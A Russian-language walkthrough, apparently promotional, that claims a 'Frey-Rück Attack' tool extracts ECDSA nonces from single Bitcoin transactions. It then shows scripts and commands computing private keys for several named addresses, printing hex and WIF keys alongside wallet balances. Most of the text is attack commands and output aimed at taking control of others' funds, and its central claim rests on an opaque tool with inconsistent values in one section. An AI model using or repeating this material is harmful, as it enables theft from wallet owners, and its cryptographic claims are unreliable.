Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154

RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1

R          =    0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
point2gen  =   (0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)

ВСЕ ВЕРНО!

K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82

Откроем bitaddress и проверим:

ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
WIF:  KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q
HEX:  4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

BALANCE: $ 677.14


№3

При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4

https://btc1.trezor.io/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)


Подготовим RawTX для атаки


16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce

RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0

R          =    0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
point2gen  =   (0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)

ВСЕ ВЕРНО!

K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1

Откроем bitaddress и проверим:

ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF:  KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM
HEX:  4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)


https://www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2


Приватный ключ найден!

BALANCE: $ 711.91


Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.


При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6 для этого же Биткоин Адреса


Подготовим RawTX для атаки


16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55

RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc

R          =    0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
point2gen  =   (0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)

ВСЕ ВЕРНО!

K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1

Откроем bitaddress и проверим:

ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF:  KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM
HEX:  4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
DDD

https://www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2


Приватный ключ найден!

BALANCE: $ 711.91


№4

При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:

12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542

https://btc1.trezor.io/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Подготовим RawTX для атаки


12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f

RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1

R          =    0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
point2gen  =   (0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)

ВСЕ ВЕРНО!

K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06

Откроем bitaddress и проверим:

ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
WIF:  KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr
HEX:  4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)


https://www.blockchain.com/btc/address/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

BALANCE: $ 706.27


Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.


При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af для этого же Биткоин Адреса


Подготовим RawTX для атаки


12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


